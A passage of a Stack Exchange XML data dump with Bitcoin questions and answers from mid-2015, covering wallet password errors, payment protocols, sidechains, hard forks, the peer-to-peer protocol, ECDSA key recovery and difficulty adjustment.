hd-public&#xA;&lt;code&gt;tpubD9nYDjxx7QwpsEhUiS7MDJ68p25nu9yxEt1AofKmEjmL3kozwA3z8G4Cm556YCYYJwfnix2GLVTtCHZq79R8UsRZBJVRPtD9HKNQBzDZVo4&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;% echo '0' | bx base16-encode | bx sha512 | bx hd-new | bx hd-public | bx base58-decode&#xA;&lt;code&gt;043587cf&lt;/code&gt;01cf633b1c00000000c023d310564ead16b50e678b2ff20e2d0a0f210fcf9c603ebd16f17d0510663802605d719a28b2707dcc9d7a2b804ba70242330e7010161aec4f86a0771d9909e504b705bf&lt;/p&gt;&#xA;" OwnerUserId="10377" LastActivityDate="2015-07-31T01:42:42.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38891" PostTypeId="1" CreationDate="2015-07-31T02:29:51.003" Score="1" ViewCount="356" Body="&lt;p&gt;I have my balance cash display on my Multibit account at left top of my account which was my last transaction. But to send it out to another bitcoin account, it keeps telling me that &quot;The wallet password is incorrect.&quot; I am fully sure, I have never changed my password and I have tried the directory given but I couldn't get it done, even none of my old transactions are showing up again. Do password regenerate itself to give new one or is my account file corrupt?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because I know that I run some program into my computer recently i.e. photoshop program, could &#xA;that be the cause? But I never tampered with bitcoin file - that is what I just can't figure out &#xA;here. Please help. I am using MultiBit version 0.5.18 in Windows 7 Ultimate please help. Or &#xA;is there anything else for me to try that I have not done?&lt;/p&gt;&#xA;" OwnerUserId="27173" LastEditorUserId="2306" LastEditDate="2015-07-31T04:04:22.163" LastActivityDate="2015-08-01T18:20:31.950" Title="Multibit password incorrect - what else can cause this?" Tags="|multibit|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38892" PostTypeId="1" CreationDate="2015-07-31T04:36:38.673" Score="2" ViewCount="398" Body="&lt;p&gt;I am building a payment processing service where a single payment may be split among multiple individuals. While it would be possible for me to write the service in such a manner that a customer pays to a single address, and then an secondary process creates the single-input-many-output transaction, it would be preferable if I could simply request that the transaction signed by the customer directly produce the desired outputs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any standard way to create such a payment request? Bitcoin URLs allow only a single address (and single amount) to be specified. Is there a way to create a partially complete transaction (specifying multiple outputs) in such a way that a customer's wallet software can correctly choose and fill in the appropriate UTXOs for inputs, and add an another output for the change? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Barring that, is there any precedent (and convenient method) for asking customers to provide UTXOs to use as inputs, and then generate the transaction for them to sign? I know that all this would be achievable if I were to provide custom wallet software, but that's certainly something I wish to avoid if possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0070.mediawiki&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bips/blob/master/bip-0070.mediawiki&lt;/a&gt;, which seems to be close to what I want; how widely supported is this protocol?&lt;/p&gt;&#xA;" OwnerUserId="27704" LastEditorUserId="27704" LastEditDate="2015-07-31T05:09:00.467" LastActivityDate="2015-07-31T05:14:33.547" Title="How can I request payment to a set of addresses?" Tags="|transactions|development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38893" PostTypeId="2" ParentId="38892" CreationDate="2015-07-31T05:14:33.547" Score="3" Body="&lt;p&gt;It appears that the Payment Protocol is, indeed, what I want, and it is relatively widely supported according to this comparison page: &lt;a href=&quot;https://bitpay.com/docs/wallets&quot; rel=&quot;nofollow&quot;&gt;https://bitpay.com/docs/wallets&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27704" LastActivityDate="2015-07-31T05:14:33.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38894" PostTypeId="2" ParentId="38887" CreationDate="2015-07-31T06:20:50.730" Score="1" Body="&lt;p&gt;I have 3 ways I go about this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/libbitcoin/libbitcoin-explorer&quot; rel=&quot;nofollow&quot;&gt;BX tool&lt;/a&gt; by libbitcoin&lt;/li&gt;&#xA;&lt;li&gt;Python libraries, namely &lt;em&gt;&lt;a href=&quot;https://github.com/vbuterin/pybitcointools&quot; rel=&quot;nofollow&quot;&gt;pybitcointools&lt;/a&gt;&lt;/em&gt; ...&lt;/li&gt;&#xA;&lt;li&gt;and &lt;em&gt;&lt;a href=&quot;https://github.com/richardrkiss/pycoin&quot; rel=&quot;nofollow&quot;&gt;PyCoin&lt;/a&gt;&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Both have a CLI interface, though &lt;em&gt;PyCoin&lt;/em&gt; is more comprehensive. The address scanning is something that can be achieved with &lt;a href=&quot;https://github.com/simcity4242/pybitcointools&quot; rel=&quot;nofollow&quot;&gt;this pybitcointools fork&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll need to clarify your preferences in terms of shell/OS/programming language for me to detail this specifically. If you're comfortable with pybitcointools I can detail that.&lt;/p&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="9382" LastEditDate="2015-07-31T06:26:27.240" LastActivityDate="2015-07-31T06:26:27.240" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38895" PostTypeId="1" AcceptedAnswerId="38911" CreationDate="2015-07-31T10:41:52.283" Score="0" ViewCount="216" Body="&lt;p&gt;I have private block chain - tweaked  bitcoin blockchain with a private coin by creating a Genesis block. Lets call it &quot;PrivateCoin&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also have a sidechain elements/alpha instance, I effectively transferred  PrivateCoins to sidechain using the two way pegging. The transfer is successful and I am able to spend the &quot;PrivateCoin&quot; in Sidechain.&#xA;(Did some dirty hacks for address format, chainparams to accomplish it! Though no validation was compromised)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see sidechain pegging is very Bitcoinish! Hope it will soon be clearly configurable for private coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the questions,&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Can sidechain mint have its own asset such as a&quot;SideCoin&quot;, so that&#xA;&quot;SideCoin&quot; and &quot;PrivateCoin&quot; can co-exist? If Yes, How to? Strategy?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Can we create &quot;SideCoin&quot; at a deterministic exchange rate for the&#xA;    &quot;PrivateCoin&quot;? &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Ex: If I peg transfer 10 &quot;PrivateCoins&quot; from the&#xA;          parent chain, I would like to create 200 &quot;SideCoins&quot; at a exchange&#xA;          rate of 1:20. If this is possible.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How to? Is it readily&#xA;    configurable in sidechain -or- should be coded in ?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="27650" LastActivityDate="2015-07-31T23:27:00.270" Title="Can bitcoin and altcoin co-exist in sidechain? If Yes, strategy" Tags="|blockchain|alternatives|sidechains|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38897" PostTypeId="2" ParentId="38888" CreationDate="2015-07-31T11:20:52.507" Score="5" Body="&lt;p&gt;If it is a web wallet that holds your private keys, then it is certainly possible that the service is staking your coins for you, but this may or may not be a feature that the developers of the particular web wallet have implemented. It is also possible that the web wallet creators take the stake as a payment for their service, which I hope the service would be transparent about. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the web wallet is a watch-only wallet, then it cannot stake for you. &lt;a href=&quot;https://bitcoin.stackexchange.com/q/36205/18196&quot;&gt;[1]&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2015-07-31T11:20:52.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38899" PostTypeId="2" ParentId="38887" CreationDate="2015-07-31T13:58:09.363" Score="0" Body="&lt;p&gt;Goochain web service does exactly what you request:&#xA;It provides addresses used listing of the wallet. It doesn't have access to the private keys.&#xA;Just input xpub... in search field, and it would display all transaction on any BIP32 and BIP44 derived addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;goochain.net&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not API but a web service. &lt;/p&gt;&#xA;" OwnerUserId="27712" LastActivityDate="2015-07-31T13:58:09.363" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38900" PostTypeId="1" AcceptedAnswerId="38901" CreationDate="2015-07-31T14:16:26.627" Score="2" ViewCount="305" Body="&lt;p&gt;Ideally, I am looking for a service like &lt;a href=&quot;http://statoshi.info/&quot; rel=&quot;nofollow&quot;&gt;http://statoshi.info/&lt;/a&gt;, but one that displays the real-time number of inputs and outputs in the blockchain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that I am not looking for information on the UTXO set, but the set of &lt;strong&gt;all&lt;/strong&gt; inputs and outputs that are in the main bitcoin blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a useful statistic for developers because it has implications for the data storage requirements of parsing the blockchain and storing data per input/output.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-07-31T21:06:52.187" Title="Service that displays how many inputs/outputs there are in the blockchain?" Tags="|transactions|blockchain|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38901" PostTypeId="2" ParentId="38900" CreationDate="2015-07-31T19:09:43.900" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/bTC3j.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bTC3j.png&quot; alt=&quot;ss&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://webbtc.com/stats&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://webbtc.com/stats&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This website displays statistics about its own output database, though it should be very rare that any developer need to maintain an index in this way. Most people will only need to interact with their own, unspent outputs rather than the entire history of the mostly unrelated chain. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-07-31T21:06:52.187" LastActivityDate="2015-07-31T21:06:52.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38902" PostTypeId="1" CreationDate="2015-07-31T19:16:35.317" Score="2" ViewCount="254" Body="&lt;p&gt;It is conceivable (though generally buried with cognitive dissonance, I imagine) that a hard fork might not get resolved.  This almost happened once before, and the miners picked the fork that solved the problem (a fork that would otherwise have lost, mind you).  This was human intervention at its finest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what if it wasn't fixed?  How long do you think it would take for bitcoin clients to appear that would ensure that your transaction is broadcast to both forks so that anyone seeing only one chain would see your transaction?  Who would run into a lot of trouble in this scenario?  I think people relying on transaction irreversibility might get antsy, and that bothers me a little, but only a little.  The worst people using bitcoin generally rely heavily on irreversibility, and the best people nearly always have some way to re-do any reversed transaction (rebroadcast is built into the standard client).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to encourage hard forks.  I just want to frustrate the people who secretly yearn for one in order to destroy cryptos.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I view a valid transaction as good, but susceptible to being hidden.  It is the blockchain that currently prevents it from being hidden, but that is not the only way to make sure everyone on the planet can know that the owner of a private key has reassigned the bitcoins it controls to a private key that I own.&lt;/p&gt;&#xA;" OwnerUserId="1434" LastActivityDate="2015-07-31T23:22:16.890" Title="What would you do while a hard fork lasts?" Tags="|doublespend|blockchain-fork|chain-reorganization|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38903" PostTypeId="1" CreationDate="2015-07-31T19:18:08.207" Score="2" ViewCount="111" Body="&lt;p&gt;I'm fairly new to programming and have only built some basic java applications, so bear with me. I'm trying to run the basic wallet application from the bitcoinj repository (using intellij and maven). I cloned the git repository, imported the filles as a Intellij project and added the dependecy to the pom file, but I still get these errors: &lt;a href=&quot;https://i.stack.imgur.com/EWHWh.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/EWHWh.png&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried everything I could imagine and can't fix it. If someone could help me I would appreciate it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="27718" LastEditorUserId="18196" LastEditDate="2015-08-04T17:17:50.817" LastActivityDate="2015-08-04T17:17:50.817" Title="Problem while trying to set up bitcoinj" Tags="|bitcoinj|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38904" PostTypeId="2" ParentId="38902" CreationDate="2015-07-31T21:43:01.723" Score="2" Body="&lt;p&gt;A contentious hardfork (where some portion of the network doesn't agree to modify their consensus rules) is effectively a doomsday scenario, there's no making this safe or making tools which allow you to transact on two chains simultaneously with no ill effect. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This almost happened once before, and the miners picked the fork that solved the problem (a fork that would otherwise have lost, mind you).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That does not reflect current understanding of how &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0050.mediawiki&quot; rel=&quot;nofollow&quot;&gt;BIP50&lt;/a&gt; operated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The chain abandoned by human intervention was actually the correct one, the decision was made just because a majority of the networks nodes were using buggy software that would have had to have been updated very quickly. Nodes running 0.7 or earlier software could randomly fail out of consensus (with 0.8, or even just with other nodes running the same version) depending on their own environmental influences. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a little out to argument if fixing the implementation was a hard fork or not, but BIP50 is not an applicable example for gaining knowledge about how the network might operate under intentionally changed operating conditions.  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How long do you think it would take for bitcoin clients to appear that would ensure that your transaction is broadcast to both forks so that anyone seeing only one chain would see your transaction?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There is no scenario in which two networks can continue to happily operate in unison. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The two chains of differing consensus rules will fall out of synchronization. Inevitably due to a single transaction not confirming, being mutated between the chains changing the TXID, or someone spending a coinbase output, transactions on one side will become invalid where they would otherwise be valid on the other. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rebroadcasting your transaction doesn't mean anything if it literally cant't exist in both chains, no wallet vendor will bother doing this for the extreme amount of development time required to make it work functionally, and the high amount of user confusion it would cause. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Clients on one side (or both) will ban their peers for not following consensus rules. This is part of a long list of denial of service attack prevention measures which include sending invalid blocks and wasting validation time on something that can never be accepted. Nodes that disable this rule may find that they reorganize onto different chains and flip flop between them&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If two fictional companies Coinbarse and Bitflinux decide they will follow alternate chains, then there is an opportunity for every Bitcoin owner with an account on each to double their money. Simply sell your BTC twice for USD on each chain and you've got double the USD you would otherwise, the markets clearly couldn't survive this sort of behavior one way or the other. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The worst people using bitcoin generally rely heavily on irreversibility, and the best people nearly always have some way to re-do any reversed transaction (rebroadcast is built into the standard client)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That does not accurately portray the behavior of the system, and I'm not sure how that couples with &quot;worse&quot; people. If somebody pays you with a mature coinbase output which is reorganized out of the chain, then you are stuck without your money no recourse.  If someone pays you and an alternate payment included in a different block, then you are stuck without your money no recourse. The vast majority of users do not use wallets which rebroadcast transactions, and in almost all scenarios where payments could be reversed there is a high probability that they could also become invalidated as well. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The simple answer is just that if you don't want dangerous and undefined things like this happening, don't go along with the belief that 75% of the mining hashrate is &quot;consensus&quot;. Work towards solutions which don't actively destroy the ecosystem, and have complete agreement on their implementation and execution. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-07-31T23:22:16.890" LastActivityDate="2015-07-31T23:22:16.890" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="38905" PostTypeId="1" AcceptedAnswerId="38907" CreationDate="2015-07-31T21:57:25.120" Score="1" ViewCount="167" Body="&lt;p&gt;Obviously for the Bitcoin system to work, we need an information network on a global scale such as the Internet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am sorry if this is a stupid question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What exact information protocol is being used? Obviously something that sits on top of TCP/IP, but what exactly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is these first levels of software that on top of TCP/IP that I am interested...&lt;/p&gt;&#xA;" OwnerUserId="27719" LastActivityDate="2015-07-31T22:37:29.937" Title="Bitcoin information data protocol" Tags="|protocol|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38906" PostTypeId="1" AcceptedAnswerId="38917" CreationDate="2015-07-31T22:12:18.243" Score="1" ViewCount="81" Body="&lt;p&gt;I want to get an object and its variables of a NXT asset. What is the function to retrieve an object of an nxt asset? &lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2015-11-29T21:54:18.663" Title="What is the function to get the object of a NXT asset in javascript?" Tags="|nxt|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38907" PostTypeId="2" ParentId="38905" CreationDate="2015-07-31T22:36:47.490" Score="2" Body="&lt;p&gt;Bitcoin uses its own wire protocol, which is based on TCP. It's quite simple, with each packet type having strict rules for conformity and a checksum. New objects (transactions and blocks) are flooded through the network to all peers with a flag indicating they want that information, along with auxiliary messages like peer addresses and pings. No encryption is used for any connection. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.org/en/developer-reference#p2p-network&quot; rel=&quot;nofollow&quot;&gt;https://bitcoin.org/en/developer-reference#p2p-network&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-07-31T22:36:47.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38908" PostTypeId="2" ParentId="38905" CreationDate="2015-07-31T22:37:29.937" Score="2" Body="&lt;p&gt;It's a fairly simple custom protocol.  You can find details at &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_documentation&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Protocol_documentation&lt;/a&gt;, but the messages use this general form:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;magic, 4 bytes, uint32_t: Magic value indicating message origin network, and used to seek to next message when stream state is unknown&lt;/li&gt;&#xA;&lt;li&gt;command, 12 bytes, char[12]: ASCII string identifying the packet content, NULL padded (non-NULL padding results in packet rejected)&lt;/li&gt;&#xA;&lt;li&gt;length, 4 bytes, uint32_t: Length of payload in number of bytes&lt;/li&gt;&#xA;&lt;li&gt;checksum, 4 bytes, uint32_t: First 4 bytes of sha256(sha256(payload))&lt;/li&gt;&#xA;&lt;li&gt;payload, variable length, uchar[]: The actual data&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The &quot;inv&quot; command is used to send notifications of new transactions and blocks around the network, and the &quot;getdata&quot; command is used to retrieve information about those transactions and blocks.&lt;/p&gt;&#xA;" OwnerUserId="18358" LastActivityDate="2015-07-31T22:37:29.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38909" PostTypeId="2" ParentId="38351" CreationDate="2015-07-31T23:04:05.127" Score="54" Body="&lt;p&gt;This has nothing to do with RFC6979, but with ECDSA signing and public key recovery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The (r, s) is the normal output of an ECDSA signature, where r is computed as the X coordinate of a point R, modulo the curve order n.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Bitcoin, for message signatures, we use a trick called public key recovery. The fact is that if you have the full R point (not just its X coordinate) and s, and a message, you can compute for which public key this would be a valid signature. What this allows is to 'verify' a message with an address, without needing to know the full key (we just do public key recovery on the signature, and then hash the recovered key and compare it with the address).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this means we need the full R coordinates. There can be up to 4 different points with a given &quot;X coordinate modulo n&quot;. (2 because each X coordinate has two possible Y coordinates, and 2 because r+n may still be a valid X coordinate). That number between 0 and 3 we call the recovery id, or recid. Therefore, we return an extra byte, which also functions as a header byte, by using 27+recid (for uncompressed recovered pubkeys) or 31+recid (for compressed recovered pubkeys).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Strictly speaking the recid is not necessary, as we can just cycle through all the possible coordinate pairs and check if any of them match the signature. The recid just speeds up this verification.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general, if h is the cofactor, the maximum number of different points with given &quot;X coordinate modulo n&quot; will be 2(h+1). In the case of secp256k1, which has cofactor 1, we get 2(1+1) = 4.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="86585" LastEditDate="2018-08-19T16:59:44.873" LastActivityDate="2018-08-19T16:59:44.873" CommentCount="13" ContentLicense="CC BY-SA 4.0" />
  <row Id="38910" PostTypeId="1" AcceptedAnswerId="38912" CreationDate="2015-07-31T23:07:01.500" Score="2" ViewCount="485" Body="&lt;p&gt;Basically for this question I need a confirmation that all of my listed assumptions are fairly accurate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bitcoin network measures how much time it took to create the last 2016 blocks in a blockchain. If it took significantly more than 2 weeks, the challenge difficulty is reduced. If it took significantly less than 2 weeks, the difficulty is increased. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Who performs these measurements? Every miner for themselves? I assume, since they operate on the same algorithm, they automatically change the goal for their algorithm from time to time without having to verify their assumptions with anyone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, for some time a certain miner has been trying to provide responses to challenges so that the &lt;code&gt;hash(challenge+proof)&lt;/code&gt; has 40 leading zeros. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After each new block is being inserted in the blockchain, a miner measures the time it took to produce last 2016 blocks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the measured time is higher than a certain treshold, difficulty should decrease. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From then on, the miner simply starts submitting proofs of work that result in 39 leading zeros. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The miner is counting on the fact that the other miners had the same conclusion and that they will accept his answer, his proof of work? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even though the miners didn't have an official agreement - &lt;em&gt;&quot;From now on, we are all solving an easier task. Ok? - Ok! - Lets go!&quot;&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="27719" LastActivityDate="2015-08-01T00:13:34.093" Title="Challenge difficulty adjustments" Tags="|proof-of-work|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38911" PostTypeId="2" ParentId="38895" CreationDate="2015-07-31T23:27:00.270" Score="3" Body="&lt;p&gt;No, you cannot set the exchange rate between your private coins and the pegged coins, because you cannot issue the pegged coins yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The chain the pegged coins come from do still keeps track of how many coins were moved out, and there can't be more that come back. That would violate the sender chain's consensus rules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So say your sidechain holds 100 pegged BTC, and 100000 private coins. If these were cheap to create, people would immediately convert them to 5000 pegged BTC using your 1:20 exchange rate, and try transferring them out. However, only 100 BTC can move back, because from Bitcoin's point of view, that's all what exists. You get effectively get a &quot;run on the bank&quot;, and the peg mechanism fails afterwards, because you did not respect the rule that you can only have as much pegged BTC as there are real BTC backing it.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2015-07-31T23:27:00.270" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="38912" PostTypeId="2" ParentId="38910" CreationDate="2015-07-31T23:36:00.287" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I assume, since they operate on the same algorithm, they automatically change the goal for their algorithm from time to time without having to verify their assumptions with anyone.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes that is correct, every node in the network must calculate this independently and come to the same result. All content used for validation is always independently constructed by every full node, you can manage complete synchronization of the Bitcoin network using only block binaries and no further information at all. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;For example, for some time a certain miner has been trying to provide responses to challenges so that the hash(challenge+proof) has 40 leading zeros. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&quot;Number of leading zeros&quot; is frequently used to describe Bitcoin mining but doesn't really reflect how proof of work operates, it merely shows a side effect how the blocks are encoded and displayed to users. SHA256 hashes are 256 bit integers, miners are attempting to find block hashes that are lower than a particular integer target. If the system were just based on the number of zeros in the hex encoded hash there wouldn't be enough granularity between two levels. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Even though the miners didn't have an official agreement - &quot;From now on, we are all solving an easier task. Ok? - Ok! - Lets go!&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That would be against the consensus rules, and any blocks arbitrarily targeting the wrong value are simple discarded. Nodes in the network strictly validate every single rule and throw out any blocks with don't follow them. Miners only exist to order valid transactions into blocks and provide relative trust to SPV clients where required, they don't set the rules. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-08-01T00:13:34.093" LastActivityDate="2015-08-01T00:13:34.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38913" PostTypeId="2" ParentId="29815" CreationDate="2015-08-01T00:15:07.890" Score="6" Body="&lt;p&gt;Stellar actually consists of two entirely different code bases at this point.  It started out as a fork of the ripple code base.  That software, called stellard, is still running in production.  However, about half a year after launching, Stellar subsequently released a completely unrelated payment system called stellar-core.  Stellar core is based on a new consensus algorithm (called SCP), and an entirely new code base.  Because it is a clean slate design, there is no backwards compatibility and any transition will presumably take the form of either a flag day or trading old stellars for new stellars while both networks run for a period.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stellar-core has many differences from stellard (and hence ripple).  One of the big differences is the new consensus algorithm, SCP, which was released with a proof of safety and boasts being &quot;optimally safe&quot; for a given configuration and failure pattern.  SCP allows a lot of flexibility in terms of how nodes configure their quorums, and is explicitly designed to accommodate Byzantine failures (where bad nodes lie) and different nodes trusting different subsets of the system.  By contrast, ripple uses a fixed 80% threshold, and their analysis does not apply to cases in which different nodes have different sets of nodes to trust.  (If what ripple calls the unique node list, or UNL, is not the same everywhere, then safety proof does not apply.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are numerous other differences between the two systems at both the implementation and protocol level.  For instance ripple allows freezing currency one has issued, which Stellar does not seem to support (at least yet).  Stellar is explicitly inflationary, with 1% new coins being created every year and all fees being recycled, while ripple destroys fees, meaning the total number of ripples in existence is slowly diminishing over time.  Stellar uses the Ed25519 signature scheme (basically Schnorr) and 32-byte public keys as addresses, while ripple uses ECDSA and 20-byte hashes as addresses.  At the implementation level, stellar's protocol is specified using Sun XDR, whereas ripple uses a combination of google protobufs and hand-written marshaling code.&lt;/p&gt;&#xA;" OwnerUserId="24989" LastActivityDate="2015-08-01T00:15:07.890" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38915" PostTypeId="1" CreationDate="2015-08-01T11:09:24.573" Score="4" ViewCount="389" Body="&lt;p&gt;Today, one of the problems with cryptocurrencies like Bitcoin is that it takes quite some time for a transfer to go through and enough confirmations to take place. This really isn't a problem when it comes to inherently slow buying procedures, such as for example ordering something online and receiving it a couple of days later by mail. However, other types of purchases requires a much faster process (for example if you're buying a digital good and want it immediately or if you're buying a physical good and want to leave the store with it right away), and as it is now, cryptocurrencies don't seem suitable for these as it simply takes to long time to confirm the payment and defend against double-spending.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a problem that is inherent with the Blockchain technology, or could purchases go through much, much faster (at least so that they can compete with credit card transfers) given enough resources or faster computers in the future?&lt;/p&gt;&#xA;" OwnerUserId="24454" LastEditorUserId="5406" LastEditDate="2017-06-17T23:35:51.200" LastActivityDate="2017-06-17T23:35:51.200" Title="Could Bitcoins (or any other blockchain based cryptocurrency) feasibly ever be used for purchases that need to go through fast?" Tags="|payment|zero-confirmation|block-interval|point-of-sale|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
